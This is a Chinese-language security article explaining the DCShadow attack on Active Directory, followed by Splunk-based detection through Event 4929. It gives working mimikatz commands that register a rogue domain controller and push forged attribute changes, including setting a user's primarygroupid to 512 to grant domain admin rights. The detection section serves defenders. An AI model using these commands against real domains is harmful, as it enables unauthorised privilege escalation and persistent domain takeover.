01、简介
DCShadow攻击,是攻击者在获取到域管理员权限后,通过将沦陷的主机伪造成域控,将预先设定的对象或对象属性复制到正在运行的域控服务器中。
DCSync&DCShadow区别在于,DCSync是从域服务器将数据复制出来,而DCShadow是将伪造的数据复制到域服务器。
02、攻击过程示例
假设我们已经拿到了某台服务器SYSTEM权限,并从沦陷的服务器中获取到了域管理员的账号密码。
第一步:使用system权限更改数据
在获取到system权限后,尝试更改域用户test的属性描述。
lsadump::dcshadow /object:CN=test,CN=Users,DC=evil,DC=com /attribute:description /value:test
第二步:使用域管理权限执行域数据同步
切换到域管理员权限,使用mimikatz进行域数据同步。
mimikatz.exe "lsadump::dcshadow /push" exit
第三步:在AD域控,我们看到了test用户描述已经被修改。
重复以上步骤,我们可以使用下面的方法,修改组id从而将用户改为域管:
lsadump::dcshadow /object:CN=test,CN=Users,DC=evil,DC=com /attribute:primarygroupid /value:512
03、 DCShadow攻击检测
在域控组策略中开启审核策略,审核目录服务访问(成功和失败),来记录所有的目录服务访问事件。
在Windows安全日志,EventCode:4929,可以看到源地址:WIN-CIFJV1AK3T6.evil.com发起详细的目录服务复制事件,通过排除生产的域控服务器列表,很容易可以辨别出伪造的域控服务器。因此,通过监视源地址字段可以发现DCShadow攻击。
index="ad" EventCode=4929 SourceAddr!="*dc*" |eval start_time =strftime(_time,"%Y-%m-%d %H:%M:%S") |eval message="在 "+start_time+",域服务器:"+ComputerName+"收到了来自" +SourceAddr+"的目录复制请求,日志审核结果:"+Keywords | table start_time,ComputerName,SourceAddr,message
如下图所示: